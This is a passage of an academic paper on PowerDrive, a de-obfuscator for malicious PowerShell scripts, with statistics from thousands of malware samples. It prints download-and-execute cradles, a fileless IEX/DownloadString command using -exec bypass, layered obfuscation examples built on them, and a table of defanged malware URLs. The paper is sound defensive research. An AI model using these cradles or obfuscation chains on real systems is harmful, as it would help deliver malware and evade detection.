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Abstract. PowerShell is nowadays a widely-used technology to admin-
istrate and manage Windows-based operating systems. However, it is
also extensively used by malware vectors to execute payloads or drop
additional malicious contents. Similarly to other scripting languages used
by malware, PowerShell attacks are challenging to analyze due to the
extensive use of multiple obfuscation layers, which make the real malicious
code hard to be unveiled. To the best of our knowledge, a comprehensive
solution for properly de-obfuscating such attacks is currently missing. In
this paper, we present PowerDrive, an open-source, static and dynamic
multi-stage de-obfuscator for PowerShell attacks. PowerDrive instruments
the PowerShell code to progressively de-obfuscate it by showing the ana-
lyst the employed obfuscation steps. We used PowerDrive to successfully
analyze thousands of PowerShell attacks extracted from various malware
vectors and executables. The attained results show interesting patterns
used by attackers to devise their malicious scripts. Moreover, we provide
a taxonomy of behavioral models adopted by the analyzed codes and a
comprehensive list of the malicious domains contacted during the analysis.
1 Introduction
The most recent reports about cyber threats showed that PowerShell based
attacks had been extensively used to carry out infections [27, 26, 16, 18]. Such
attacks have become especially popular as they can be easily embedded in malware
vectors such as Office documents (by resorting to macros [6]) so that they could
efficiently evade anti-malware detection and automatic analysis. An example of
large-scale infection related to Office documents and PowerShell happened in
2018, with a massive SPAM campaign, targeting Japan, featuring more than
500, 000 e-mails carrying malicious Excel documents [18].
PowerShell is a technology that is typically used to administrate Microsoft
Windows-based operating systems. It is a very rich scripting language that allows
administrators and users to easily manipulate not only the file system but also
the registry keys that are essential for the functionality of the operating system.
Unfortunately, giving the user such a high degree of freedom also means that
PowerShell is perfect for malware creators. In particular, it is possible to execute
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external codes (or to contact URLs) without even resorting to famous vulnerability
exploiting techniques such as buffer overflow or return-oriented programming.
Another critical property of PowerShell codes is that that automatic, off-the-
shelf tools can heavily and repeatedly obfuscate them (e.g., [3]), making static
analysis unfeasible.
De-obfuscating PowerShell codes is crucial for at least three reasons: (i) it
helps to unveil traces of malicious URLs and domains that drop malware or
other infection vectors; (ii) it provides information about which obfuscation
techniques were used to conceal the code, shedding light on the attacker’s aims;
(iii) it simplifies the use of additional technologies (e.g., machine learning) to
perform malware detection, as it highlights information that can be useful for
the learning algorithms. In particular, from the scientific point of view, there has
been an effort to use machine learning to discriminate between malicious and
benign PowerShell codes [10, 14] without directly de-obfuscating them. However,
the problem of these approaches is that it is unfeasible to understand what
these codes execute, and what are the strategies devised by attackers to evade
detection.
Current de-obfuscators are either not public [13], or strongly limited at
analyzing PowerShell codes [22]. In this paper, we aim to fill these gaps by
presenting and releasing PowerDrive, an automatic, static and dynamic de-
obfuscator for PowerShell codes. PowerShell has been developed by considering
the possibility of multiple obfuscation strategies, which are comprehensively
presented in this paper. PowerDrive recursively de-obfuscates the code by showing
the analyst every obfuscation layer (we refer to it as multi-stage de-obfuscation)
and provides the additional payloads and executable that are dropped by, for
example, contacting external URLs. To assess the efficacy of PowerDrive at
de-obfuscating malicious codes, we deployed PowerDrive on a real scenario by
analyzing thousands of malicious scripts obtained from executable and malicious
Office files. The attained results showed that our system could accurately analyze
more than 95% of the scripts, thus exhibiting interesting behavioral patterns
that are typically used in such attacks. We provide various statistics about the
properties of these attacks: from the environmental variables to the encodings
and the distribution of the obfuscation layers that are employed. Finally, we were
able to extract multiple URLs connected to existing and working domains, and
we report here the most prominent ones. The attained results depict a vibrant
portrait that demonstrates how attackers may vary their strategy to achieve
effective infection. We point out that PowerDrive is a public, open-source project
[30]. Its results can be combined with other systems to provide efficient detection
mechanisms and to build defenses against novel attack strategies proactively.
The rest of the paper is organized as follows: Section 2 provides the essential
concepts to understand PowerShell codes and malware. Section 3 provides an
insight into how PowerShell codes can be obfuscated. Section 4 describes the
architecture and functionality of the proposed system. Section 5 discusses the
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results of the evaluation. Section 6 discusses the limitation of our work. Section 7
provides an overview of the related work in the field. Section 8 closes the paper.
2 Background
In this section, we provide the essential background to understand how
PowerShell codes work. Then, we give an overview of how PowerShell malware
typically performs its actions.
2.1 PowerShell Scripting Language
PowerShell [19] is a task-based command-line shell and scripting language
built on .NET. The language helps system administrators and users automate
tasks and processes, in particular on Microsoft Windows-based operating systems
(but it can also be used on Linux and MacOS). This scripting language is
characterized by five main characteristics, described in the following.
– Discoverability. PowerShell features mechanisms to discover its commands
easily, in order to simplify the development process.
– Consistency. PowerShell provides interfaces to consistently manage the
output of its commands, even without having precise knowledge of their
internals. For example, there is one sort function that can be safely applied
to the output of every command.
– Interactive and Scripting Environments. PowerShell combines inter-
active shells and scripting environments. In this way, it is possible to access
command-line tools, COM objects, and .NET libraries.
– Object Orientation. Objects can be easily managed and pipelined as inputs
to other commands.
– Easy Transition to Scripting. It is easy to create complex scripts, thanks
to the discoverability of the commands.
Get-ChildItem $Path -Filter "*.txt" |
Where-Object { $_.Attributes -ne "Directory"} |
ForEach-Object {
If (Get-Content $_.FullName | Select-String -Pattern
$Text) {
$PathArray += $_.FullName
$PathArray += $_.FullName
}
}
Listing 1.1. An example of PowerShell script.
4 Denis Ugarte, Davide Maiorca, Fabrizio Cara, and Giorgio Giacinto
Listing 1.1 shows a simple example of PowerShell code. This code gets all
the files that end with a .txt extension in the variable Path (each variable
is introduced by a $). This code is useful to introduce the concept of cmdlets,
i.e., lightweight commands that perform operations and return objects, making
scripts easy to read and execute. Users can implement their own customized
cmdlets or override existing ones (this aspect will be particularly important
in PowerDrive). In the case of the proposed listing, the employed cmdlets
are Get-ChildItem, Where-Object, ForEach-Object, Get-Content, Select-
String, and Write-Host. Note how using cmdlets makes the code reading
significantly easier, as their functionality can be often grasped directly from
their names. A comprehensive list of pre-made cmdlets can be found in [21].
2.2 PowerShell Malware
As pointed out in the introduction of this work, PowerShell can be exploited
by attackers to develop powerful attacks, especially against Windows machines.
Starting from Windows 7 SP1, PowerShell is installed by default in each release
of the operating system. Moreover, most of the PowerShell logging is disabled
by default, meaning that many background actions are mostly invisible. The lack
of proper logging makes malicious scripting codes easy to propagate remotely.
(New-Object System.Net.WebClient).DownloadFile(’http ://
xx.xx.xx.xx /~zebra/iesecv.exe ’,"$env:APPDATA\scvkem.exe")
;Start-Process ("$env:APPDATA\scvkem.exe")
Listing 1.2. An example of PowerShell malicious script.
A simple but typical example of PowerShell malware is reported in List-
ing 1.2. In this example, the malicious script downloads and executes an external
executable file (we concealed the IP address). In particular, it is possible to
observe the use of two cmdlets: New-Object and Start-Process. The first one
prepares the initialized web client to download the file, while the second one
starts the file that is downloaded through the additional API DownloadFile.
Note how the cmdlet Start-Process allows running external processes without
the need for exploiting vulnerabilities.
Another critical problem is the possibility of fileless execution. This tech-
nique is used when anti-malware systems attempt to stop the execution of
PowerShell scripts (that usually have the .ps1 extension). In this case, the
PowerShell script can be executed by directly loading it into memory or by
bypassing the default interpreter, so that the script can be executed with other
extensions (for example, .ps2) [17]. An example of fileless execution is reported
in Listing 1.3, in which the content of the malware.ps1 script is not saved on
the disk but directly loaded to memory (IEX is the abbreviation of the cmdlet
Invoke-Expression). The bypass parameter instructs PowerShell to ignore
execution policies so that commands could also be remotely executed.
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powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient
).DownloadString(’https ://[ website ]/ malware.ps1 ’)"
Listing 1.3. An example of fileless PowerShell execution.
3 PowerShell Obfuscation
With the term obfuscation, we define an ensemble of techniques that perform
modifications on binary files or source codes without altering their semantics,
intending to make them hard to understand for human analysts or machines.
These strategies are particularly effective against static analyzers of code and
signature-based detectors. More specifically, similar obfuscation techniques can
produce multiple output variants, making their automatic recognition often
unfeasible. Moreover, multiple obfuscation strategies can be combined to make
them unfeasible to be statically broken.
Similarly to other scripting languages such as JavaScript, PowerShell codes
are characterized by multi-stage (or multi-layered) obfuscation processes. With
this strategy, multiple types of obfuscation are not applied simultaneously, but
one after the other. In this way, it is harder for the analyst to have an idea
of what the code truly executes without first attempting to de-obfuscate the
previous layers. Three types of obfuscation layers are typically employed by
PowerShell malware:
– String-related. In this case, the term string refers not only to constant
strings on which method calls operate, but also to cmdlets, function param-
eters, and so forth. Strings are manipulated so that their reading is made
significantly more complex.
– Encoding. This strategy typically features Base64 or binary encodings,
which are typically applied to the whole script.
– Compression. As the name says, it applies compression to the whole script
(or to part of it).
Particular attention deserves the various obfuscation techniques related to
the String-based layer. They can be easily found in exploitation toolkits such as
Metasploit or off-the-shelf tools, such as Invoke Obfuscation by Bohannon [3].
In the following, we provide a list of the prominent ones.
– Concatenation. A string is split into multiple parts which are concatenated
through the operator +.
– Reordering. A string is divided into several parts, which are subsequently
reassembled through the format operator.
– Tick. Ticks are escape characters which are typically inserted into the middle
of a string.
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Table 1. Most common PowerShell obfuscation strategies. The output of obfuscation
through Compression has been cut for space reasons.
Type Original Obfuscated
Conc. http://example.com/malware.exe http:// + ’’example.com’’ + ’’/malware.exe
Conc. http://example.com/malware.exe
$a = ’’http://’’; $b = ’’example.com’’;
$c = ’’/malware.exe’’; $a + $b + $c
Reor. http://example.com/malware.exe
{1}, {0}, {2}’ -f ’example.com’,
’http://’, ’/malware.exe’
Tick Start-Process ’malware.exe S‘tart-P‘‘roce‘ss ’malware.exe’
Eval. New-Object &(’New’ + ’-Object’)
Eval. New-Object &(’{1}{0}’ -f ’-Object’, ’New’)
Case New-Object nEW-oBjECt
White
$variable = $env:USERPROFILE +
’’\malware.exe’’
$variable = $env:USERPROFILE +
’’\malware.exe’’
Base64 Start-Process " malware .exe" U3RhcnQtUHJvY2VzcyAibWFsd2FyZS5leGUi
Comp.
(New-Object Net.WebClient)
.DownloadString ("http://example
.com/malware.exe")
.((VaRIAbLE ’*Mdr*’).nAme[3,11,2]-JoIn’’)
(neW-obJecT sySTEM.io.CoMPRESSION.DEfLAte
strEaM ([sYStem.Io.MeMoRystReam]
[SYstEm.COnveRt]::frOmBase64sTrinG(
’BcE7DoAgEAXAqxgqKITeVmssLKwXf...
– Eval. A string is evaluated as a command, in a similar fashion to eval in
JavaScript. This strategy allows performing any string manipulation on the
command.
– Up-Low Case. Random changes of characters from uppercase to lowercase
or vice versa.
– White Spaces. Redundant white spaces are inserted between words.
A complete summary of the effects of the obfuscations related to the String-
based, Encoding, and Compression layers is reported in Table 1. Notably, this
table does not indicate any possible obfuscation found in the wild, but only the
ones that are easy to access through automatic and off-the-shelf tools.
To conclude this section, we now report an example of multi-stage obfuscation.
Consider the the following command:
(New-Object Net.WebClient).DownloadString(’http ://
example.com/malware.exe ’)
Similarly to the example proposed in Section 2.2, this code downloads and
executes an .exe payload. Then, we obfuscated this code through three stages
(layers): String-based, Encoding and Compression. In particular, during the first
stage, we combined multiple obfuscation strategies. We employed this approach
to show that obfuscations are not only distributed through multiple layers but
also scattered on the same layer.
The results are reported in Listing 1.4. We employed Reordering, Tick, and
Concatenation on the command. Note how the string is progressively harder to
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read. Notably, Reordering is particularly difficult to decode due to the possibility
of scrambling even very complex strings.
#Reordering
(New-Object System.Net.WebClient).DownloadString (("
\{0\}\{3\}\{7\}\{1\}\{5\}\{6\}\{8\}\{4\}\{2\}" -f ’http’,
’e.c’,’.exe’,’:// exam’,’are’,’om’,’/’,’pl’,’malw’))
#Tick
(NeW ‘-OB‘jECT System.Net.WebClient).DownloadString (("
\{0\}\{3\}\{7\}\{1\}\{5\}\{6\}\{8\}\{4\}\{2\}" -f ’http’,
’e.c’,’.exe’,’:// exam’,’are’,’om’,’/’,’pl’,’malw’))
#Concatenation
(NeW ‘-OB‘jECT (’System. ’+’Ne’+’t.We’+’bCl’+’ient’)).(’D’+’ow’
+’nloadStri ’+’n’+’g’).Invoke (("
\{0\}\{3\}\{7\}\{1\}\{5\}\{6\}\{8\}\{4\}\{2\}" -f ’http’,
’e.c’,’.exe’,’:// exam’,’are’,’om’,’/’,’pl’,’malw’))
Listing 1.4. String-based obfuscation of a PowerShell command. Multiple obfuscation
strategies have been employed on this layer.
As a second step, we applied encoding using, this time, a binary format.
Listing 1.5 shows the result (the binary string has been shortened for space
reasons).
. ( \$sHeLlID [1]+\ $SHEllid [13]+’x’) ( (’101000
I1001110B11001..........111 ~100111 I101001 :101001 ’.sPlIT(
’G:kIPq\%B~M’ )| forEAch{ ( [ChAR]( [ConverT ]:: TOINT16 (([
STRing ]\$_ ),2) ))})-JoIn’’ )
Listing 1.5. Binary encoding of a String-based obfuscated command. The binary string
has been cut for space reasons.
Finally, Listing 1.6 shows the final obfuscated command after applying one
last layer of compression.
#Original Code
(New-Object Net.WebClient).DownloadString("http :// example.com
/malware.exe")
#Compressed Code
.(( VaRIAbLE ’*Mdr*’).nAme [3,11,2]- JoIn’’) (neW-obJecT
sySTEM.io.CoMPRESSION.DEfLAtestrEaM ([
sYStem.Io.MeMoRystReam ][ SYstEm.COnveRt ]:: frOmBase64sTrinG
( ’BcE7DoAgEAXAqxgqKITeVmssLKwXfFHM8gnZBI/
vjPYY8x5eRJk8xJ4IKycUMXaro3Cl65Ceyq3VI9IW5/
BRbgwba3aZeFCHxQdlfg ==’ ),[ iO.COMpREsSION.CompresSionMoDE
]:: deCOmPRESs)|FOReACh-ObJeCt \{ neW-obJecT
IO.StrEaMrEadEr( \$_, [sYsTEM.tEXT.enCoDIng ]:: AscIi ) \})
.readtOend( )
Listing 1.6. Compressed and final output of a multi-stage obfuscation process of a
PowerShell command.
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4 Introducing PowerDrive
The goal of this work was developing a comprehensive, efficient PowerShell de-
obfuscator. More specifically, the idea underlining the design of PowerDrive fol-
lows four main principles:
– Accuracy. The system is required to analyze the majority of malicious
PowerShell scripts found in the wild.
– Flexibility. The system is required to cope with complex obfuscation tech-
niques and with their variants.
– Multi-Stage. The system is required to recursively de-obfuscate scripts
through multiple obfuscation layers (as shown in Section 3).
– Usability. The system should be easy to use and easy to extend with new
functionalities.
Considering these principles, we developed PowerDrive as a system that
employs both static and dynamic analysis to de-obfuscate PowerShell malware.
It receives as input a PowerShell script (with embedded support to multi-
command script analysis), returns the de-obfuscated code and executes it to
retrieve any additional payloads. If the analyzed code contacts external URLs,
external files are downloaded and stored. The general structure of the system is
depicted in Figure 1, and the analysis is carried out through the following phases:
1. Layer Detection. A set of rules to determine the obfuscation layer (if any)
employed by the script.
2. Pre-Processing. A set of operations performed to check possible syntax
errors, remove anti-debugging codes, and so forth.
3. Layer De-Obfuscation. The true de-obfuscation of the layer is performed
here. Depending on the layer type, we use static regex or dynamic cmdlet
instrumentation to perform de-obfuscation.
4. Script Execution. The system executes the de-obfuscated script to retrieve
additional payloads.
The input file is parsed as follows: the system immediately starts the Layer
Detection phase to look for traces of obfuscation. If the detection is successful,
PowerDrive pre-processes and de-obfuscates the layer. Then, the system checks
if the de-obfuscated output still contains obfuscated elements. If they are found,
pre-processing and de-obfuscation are once again repeated. This procedure is
performed until no other traces of obfuscation are located, and the file is finally
executed to retrieve additional payloads or executables. We provide more details
about each phase in the following.
Layer Detection. The goal of this phase is establishing the type of obfuscation
layer. There are three possibilities: String-based, Encoded, Compressed. The type
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Fig. 1. A general representation of the PowerDrive structure.
of layer determines the strategies employed by PowerDrive to de-obfuscate the
code. Such detection is performed by employing rules that are implemented
through regular expressions. For example, to verify if a layer is Base64 encoded
we could use the following regular expression:
$InputString -Match "^([ A-Za-z0-9 +/]{4}) *([ A-Za-z0-9 +/]{4}|[
A-Za-z0-9 +/]{3}=|[ A-Za-z0-9 +/]{2}==)$")
Listing 1.7. Regular expression to detect Base64 encoded layers.
Pre-Processing. The pre-processing phase is very important to prepare the
scripting code for de-obfuscation. As shown in Figure 1, this phase is carried out
through multiple steps:
1. Multi-line Detection. Some commands are split into multiple lines. For
more efficient analyses, these lines are joined so that each command takes
exactly one line.
2. Clean Up. The code is analyzed to remove additional garbage characters
that might be there as a result of other analysis (for example, a script
extracted from a Microsoft Office macro).
3. Syntax Check. The syntax of the code is checked to understand whether
or not the code is fully functional. Some malware samples can be broken and
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not run properly due to syntax errors. If the syntax check fails, the analysis
of the script is aborted.
Layer De-Obfuscation. This is the phase in which de-obfuscation occurs. Two
major de-obfuscation strategies are employed, according to the type of layer that
is analyzed:
– Regex. This strategy employs regular expressions to take common patterns
that occur in string obfuscation. This technique is only used for String-based
obfuscation layers. An example of regex that is employed to de-obfuscate
String Reordering is reported in Listing 1.8. How such a regex is used is
straightforward: it returns and organizes the position of each word according
to the numbers found between brackets (see Table 1). Then, the words are
sorted in increasing order and they are joined to rebuild the final string. More
information on how regex is employed can be found on the project source
code [30].
$Regex = [Regex ]:: Matches($Script, "(.*?) \(\ ’\{(.*?)
\}\’\s*-f\s*\ ’(.*?)\’\)")
Foreach($Match in $Regex) {
$FormattedStringWordPositions = "{$($Match.Groups [2].
Value)}"
$FormattedStringWords = "’$($Match.Groups [3]. Value)’"
...
Listing 1.8. Regex employed to de-obfuscate String Reordering.
– Cmdlet Override. This de-obfuscation technique is employed on Encoded
or Compressed layers. The main idea is that, as reported in Section 2.1, users
can define and even override their own cmdlets. The key idea to de-obfuscate
these layers is simple, yet effective. Normally, in PowerShell it is possible
to use the cmdlet Invoke-Expression to run strings as commands. When
the cmdlet executes such strings, they are automatically de-obfuscated at
runtime. By considering this, it is possible to override the cmdlet by tracing
the content of the arguments (i.e., the obfuscated string it receives). Listing
1.9 shows how Invoke-Expression can be overridden.
function Invoke-Expression () {
param(
[Parameter(
Mandatory = $true)]
[string]$obfuscatedScript
)
Write-Output "$($obfuscatedScript)"
}
Listing 1.9. Overriding of Invoke-Expression.
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Anti-Debugging Detection. PowerDrive considers the possibility that mal-
ware may employ anti-debugging techniques to avoid dynamic execution of the
code. For this reason, PowerDrive removes popular ways to prevent code debug-
ging: (i) it removes any references to sleep instructions, which are commonly
used in malware to slow down execution; (ii) it automatically removes the Out-
Null cmdlet, which is used to redirect the stdout to NULL (a common technique
used by malware to hide the effects of some of its actions); (iii) it removes
infinite loops that would hang the analysis and try-catch blocks that may confuse
analyzers; (iv) it removes try-catch blocks to point out possible exceptions that
can be raised by the code, and that would not normally be printed to the user.
Script Execution. Once all layers have been de-obfuscated, the code is executed
to retrieve additional payloads and executables. Again, to intercept the loaded
executables we override three cmdlets: Invoke-WebRequest, Invoke-Rest and
New-Object. By performing this overriding, we can extract and download all the
additional executables that are contacted by the script.
5 Evaluation
In this section, we describe the results of the evaluation performed by running
PowerDrive on a large number of malicious samples in the wild. The goal of
this evaluation was to shed light on the content of such malicious scripts and to
understand the obfuscation strategies, behavioral execution patterns, and actions
that characterize them. Before describing in detail our results, we provide an
insight into the employed dataset.
Dataset. The dataset employed for the evaluation proposed in this paper is
organized as follows:
– 4079 scripts obtained from the analysis performed by White [20], who dis-
tributed a public repository of PowerShell attacks that have been used as
performances benchmark in recent works [14, 11]. These scripts were obtained
in 2017 from malicious executables and documents. We refer to these scripts
as PA (PaloAlto) dataset.
– 1000 malicious scripts extracted from the analysis of document-based malware
samples (.doc,.docm,.xls,.xlsm) that were discovered in the second half
of 2018. The files were obtained from the VirusTotal service [12] and have
been analyzed with ESET Vhook, a dynamic analysis system for Office files [9].
We refer to these scripts as VT (VirusTotal) dataset.
Before starting the analysis, we wanted to make sure that each script of
the dataset was properly executing code without errors (except for connection
errors obtained when a non-existent domain was contacted). Correct execution
of the code is critical, as non-working codes could ruin the dynamic part of the
analysis and lead to inaccurate results, thus compromising the overall evaluation
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statistics. For this reason, we chose to exclude from this analysis those files which
could not be executed on the target machine due to syntax errors. This choice
led to 132 and 152 non-working files for, respectively, the PA and VT dataset. In
particular, there are multiple reasons why such files were flagged as non-working:
(i) they contained simple commands that were not related to malicious actions;
(ii) they contained syntax errors that would make their execution fail; (iii) for
Office files, the resulting PowerShell script was not correctly extracted by VHook.
Additionally, there were 186 files that could not be analyzed due to technical
limitations (see Section 6) Overall, the analysis was run on 4642 working scripts
that could be effectively analyzed.
Now, we provide extended statistics of the analyses carried out by PowerDrive.
The rationale behind our analysis was following the structure of the system
(reported in Figure 1) to examine the characteristics of the scripts, and reporting
the results accordingly.
Layer Detection and Characteristics. Table 2 reports how many obfuscation
layers were employed in each sample. Notably, all files (with only one exception)
adopted only one obfuscation layer. This aspect can be explained with the fact
that attackers do not need extremely complex obfuscation strategies to bypass
anti-malware detection. Moreover, obfuscated files are typically produced by
off-the-shelf tools (such as Metasploit or the Social Engineering Toolkit -
SET [23, 28]), which do not include complex obfuscation routines.
Table 2. Number of layers that are contained in each malicious PowerShell script.
Number of obfuscation layers Number of scripts (%)
0 (No obf.) 238 (5.1%)
1 4403 (94,8%)
2 1 (0.01%)
Table 3. Types of layers retrieved by PowerDrive for files containing one obfuscation
layer (out of 4403 scripts).
Layer Type Number of scripts
Encoded 3918 (89%)
String-Based 485 (11%)
Compressed 0
Table 3 extends what reported by the previous table by showing the types of
obfuscation layers adopted by files that employed one layer. Base64 encoding was
widely used, while only 10% of the samples resorted to String-based obfuscation.
The reason for such a choice is clear: encoding makes any code reading impossible
without performing proper decoding. Hence, this is often the best, low-effort
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obfuscation strategy for attackers (much better than Compression, which was
never used in our dataset). On the contrary, String-based obfuscation was less
preferred, as one single mistake may entirely compromise the complete function-
ality of the code. Notably, out the 485 working files whose strings have been
obfuscated, 87 employed String concatenation and ticks, while the remaining 398
adopted String reordering, the most complex obfuscation of this group (and that
also explains why attackers favored that kind of obfuscation strategy). Finally,
we observe that the only files that employed two obfuscation layers adopted two
types of encoding : Base64 and binary.
Pre-Processing. The majority of correctly executed scripts did not require
special pre-processing operations before being executed. However, we note that
77 scripts used multi-line commands, and were fixed accordingly. Clean Up was
performed on 387 files. Finally, 90 scripts contained one additional function beside
the main code (which would make them hard to analyze for those parsers that
analyze single commands).
Layer De-obfuscation and Anti-Debugging. As reported in Section 4, the
de-obfuscation type is chosen depending on the layer type that is detected. For
all files that correctly completed their execution, we managed to correctly de-
obfuscate the analyzed layers. However, after de-obfuscation, we found that it
was necessary to remove anti-debugging attempts that would have conditioned
the execution of the code. Table 4 reports the attained results. Note how Sleep
was largely used by the majority of malicious files in the wild. If we combine
this information with the extended use of Base64 encoding, it is evident that the
most occurring pattern adopted by attackers employed evasion attempts against
both static and dynamic analysis. Again, if we think about the psychology of the
attacker, this strategy constitutes the one with the best trade-off between efficacy
and complexity of the obfuscation.
Table 4. Number of scripts that resorted to anti-debugging actions.
Pre-Processing Action Number of scripts (%)
Anti-Debug (Sleep) 2360 (50.8%)
Anti-Debug (Infinite) 34 (0.7%)
Anti-Debug (NULL Redir.) 13 (0.3%)
Execution. After de-obfuscation, each code was analyzed to retrieve its essential
characteristics and to extract possible behavioral patterns. Figure 2 depicts an
interesting scenario that reflects the actions performed, generally, by Power-
Shell scripts. The first, easy-to-imagine aspect here is that the two key actions
are related to payload download and execution. However, almost half of the an-
alyzed attacks directly loaded and executed malicious bytes from memory. This
strategy was devised to avoid detection from anti-malware engines. Likewise, a
percentage of the codes also focused on killing or closing processes. Again, this
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can be used to stop anti-malware engines or to kill the process itself after a certain
execution time. Other samples created shells to execute further instructions, and
very few ones attempted to change the Windows registry to achieve permanent
access to the infected machine.
0 500 1000 1500 2000 2500
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Registry Key Addition
Process Stop
Shell Execution
Process Kill
Function Execution
Memory Execution
Process Start
Malware Download
Fig. 2. Occurrences of the most used actions in PowerShell attacks.
One important characteristic of PowerShell attacks is that they often resort
to environmental variables to access system paths or to execute the dropped
payloads. Figure 3 shows the distribution of the most used environmental variables.
It is possible to note that the two most used ones in our dataset were APPDATA
and TEMP. These variables are typically used to refer to paths that could store
files that are temporarily dropped. Such actions are widespread in Windows
malware.
Another compelling aspect of PowerShell scripts is the possibility of retrieving
and inferring behavioral patterns. As malicious scripts typically resort to minimal
sets of functions (or, in this case, cmdlets), we could elaborate concise patterns
that could be applied to multiple scripts. In this way, we could obtain a set of
6 behavioral patterns, described in Table 5. There could be many additional
ways that may be systematically used to infect machines, but these are the most
common ones found in the dataset. Note how the payload was essentially always
downloaded from external URLs, except when it was executed directly from
memory. In this case, the script only resorted to functions that load it into RAM
before starting the process. Another way of running processes was through an
intermediate shell that was open. In this case, the process management (stop
or kill) was invoked to terminate the shell once all the malicious operations
are performed. Note that we used the term Var. Manip. to define possible
environmental or external variables assignments and changes.
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Fig. 3. Most common environmental variables retrieved from the analyzed
PowerShell codes and their use.
Table 5. Six most occurrent patterns in the examined PowerShell attacks.
Pattern Download Proc. Start Shell Exec. Var. Manip. Proc. Kill Mem. Load
Down+Exec X X
Down+Shell X X
Exec+Shell X X X
Exec+Var X X X
Shell+Kill X X X X
Mem+Exec X X
Finally, during our analysis, we retrieved multiple URLs and domains that
were contacted by malicious scripts. Most of them were already taken down, but
18 of them were still up on February 22nd, 2019. We contacted each of them
to verify if and what kind of files they dropped. Table 6 shows the complete
URLs, along with the classification provided by VirusTotal [12], of the top-5
URLs with the highest VirusTotal score (i.e., how many anti-malware systems
detected the downloaded files as malware). Notably, many URLs were regarded
as malicious by a minimal number of anti-malware engines. These results could
mean either that proper signatures for that payload were not developed yet, or
that the downloaded files further redirect to other websites.
Multiple Layer De-Obfuscation. As previously stated in this section, almost
all PowerShell codes analyzed for this work did not employ more than one
obfuscation layers. However, to demonstrate the functionality of PowerDrive, we
included in the project website a proof-of-concept in which a command has been
obfuscated in the same way as the one proposed in Section 3 (i.e., by employing
String-based, Encoding and Compression layers), and was correctly analyzed by
PowerDrive. It is also possible to further obfuscate the sample by adding other
layers (especially compression and encoding). PowerDrive was able to analyze
further and decompress potential additional layers that were included.
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Table 6. List of the top-5 working URLs, found in PowerShell malware, that are still
active on February 22nd, 2019, together with the score provided by the VirusTotal
service.
URL VirusTotal Score
hxxp://i.cubeupload.com/RDlSmN.jpg 46/68
hxxps://raw.githubusercontent.com/PowerShellEmpire/Empire/master
/data/module source/code execution/Invoke-Shellcode.ps1
26/60
hxxp://www.pelicanlinetravels.com/images/xvcbkty.exe 8/64
hxxp://fetzhost.net/files/044ae4aa5e0f2e8df02bd41bdc2670b0.exe 8/64
hxxp://aircraftpns.com/ layout/images/sysmonitor.exe 3/69
6 Discussion and Limitations
The attained results depicted a very interesting status quo concerning attacks
that employ PowerShell. While some actions performed by PowerShell malware
were somehow expected (e.g., dropping additional executables from malicious
URLs), other aspects were interesting to observe, and in a sense unexpected. For
example, one may have expected to find samples that employed very complex
obfuscation strategies, which spanned over multiple layers. However, this analysis
gave us a different picture, in which attackers did not implement extra protections
in their codes. Likewise, the general structure of the analyzed attacks can be
summarized and organized in patterns that, despite the changes in the functions
and variables used, are recognizable. Nevertheless, as detection techniques and
analysis tools (such as PowerDrive) become more and more effective at protecting
users from such attacks, we will soon observe new patterns and obfuscation
strategies.
Although PowerDrive proved to be very useful at de-obfuscating and analyz-
ing malicious PowerShell codes in the wild, it still features some limitations. The
first one concerns the employed methodology. Notably, our idea was developing an
approach that could quickly and effectively provide feedback to the analyst, and
regex is excellent for this purpose. However, albeit we did not observe it in the
wild, using such an approach may expose the de-obfuscation system to evasion
attempts that target the implemented regex. Although regex can be refined to
address such attempts, more sophisticated techniques (e.g., statistical-based)
may be necessary, as it already happens with X86 malware [32].
We also point out some technical limitations: (i) the lack of variable tracing,
which does not allow users to taint variables, in order to see how they evolve
during code execution; (ii) PowerDrive cannot instrument or de-obfuscate attacks
that employ APIs belonging to the .NET language, but it only works with cmdlets
(iii) as stated in Section 5, we were not able to analyze 186 files during our
evaluation. In particular, in some cases, it was not possible to decompress some
byte sequences that were previously encoded with Base64. In other cases, the
script employed compression through gzip, which is currently not supported by
our system. Moreover, some scripts contacted external URLs to receive bytes
that would be used as variables of the PowerShell script. Finally, we found some
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variants of the String-based obfuscation that made our regex-based de-obfuscation
detection fail; (iv) fileless malware detection is currently not supported. We plan
to extend PowerDrive to address such limitations.
Finally, as future work, we plan to integrate PowerDrive with other tech-
nologies, for example with machine learning-based ones. Apart from solving
the classical problem of detecting attacks, it would be even more interesting to
understand the adversarial aspects of the problem, by for example generating
automatic scripting codes that can evade deep learning algorithms, also employed
in previous works (see Section 7).
7 Related Work
We start this section by providing an insight into the prominent, state-of-
the-art works on de-obfuscation on binaries and Android applications. Then, we
focus more on PowerShell scripts, by describing the contributions proposed by
researchers and companies for their analysis and detection.
De-Obfuscation. First works on analyzing obfuscated binaries were proposed by
Kruegel et al. [15], by referring to the obfuscation strategies defined by Collberg et
al. [7]. In particular, this work discussed basic techniques to reconstruct the
program flow in obfuscated binaries and tested if popular, off-the-shelf tools
were able to analyze such binaries. Udupa et al. [29] proposed some control flow-
related strategies to de-obfuscate X86 binaries, including cloning and constraint-
based static analysis to determine the feasibility of specific execution paths.
Anckaert et al. [1] defined quantitative metrics to measure the effectiveness
of de-obfuscation techniques applied against control flow flattening and static
disassembly thwarting.
Further important works focused on analyzing obfuscated malware whose
instructions were loaded through a VM-based interpreter [25]. In particular,
Coogan et al. [8] proposed a technique to recognize instructions that do not
belong to the original code by analyzing those that directly affect the values of
system calls. Yadegari et al. [32] further extended this work by proposing a general
de-obfuscation approach that employs taint propagation and semantics-preserving
code transformations. The idea here is using these techniques to reverse engineer
complex Control Flow Graphs that were generated through Return Oriented
Programming (ROP) and reconstruct them while preserving the application
semantics.
As can be seen, the majority of the de-obfuscation techniques applied to
binaries feature the reconstruction of the samples control-flow graphs. Power-
Shell scripting codes are typically much more straightforward from this perspec-
tive, as the efforts of the attackers focused on making very compact sequences of
instructions as less readable as possible. Hence, the de-obfuscation techniques
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employed in this paper have been specifically tailored to how PowerShell scripts
typically work.
Some more recent works on de-obfuscation of Android applications are also
worth a mention. In particular, Bichsel et al. [2] proposed a de-obfuscation
approach based on probabilistic approaches that use dependency graphs and
semantic constraints. Wong and Lie [31] adopted code instrumentation and
execution to understand what kind of obfuscation has been employed by the
Android app. Notably, code instrumentation is an approach that is also used
(albeit in a different fashion) by PowerDrive by overriding cmdlets.
PowerShell Analysis. Rousseau [24] proposed different methods to facilitate
the analysis of malicious PowerShell scripts. These techniques require in-depth
knowledge of the .NET framework and their implementation has not been publicly
released. A large-scale analysis of PowerShell attacks has been proposed by Bo-
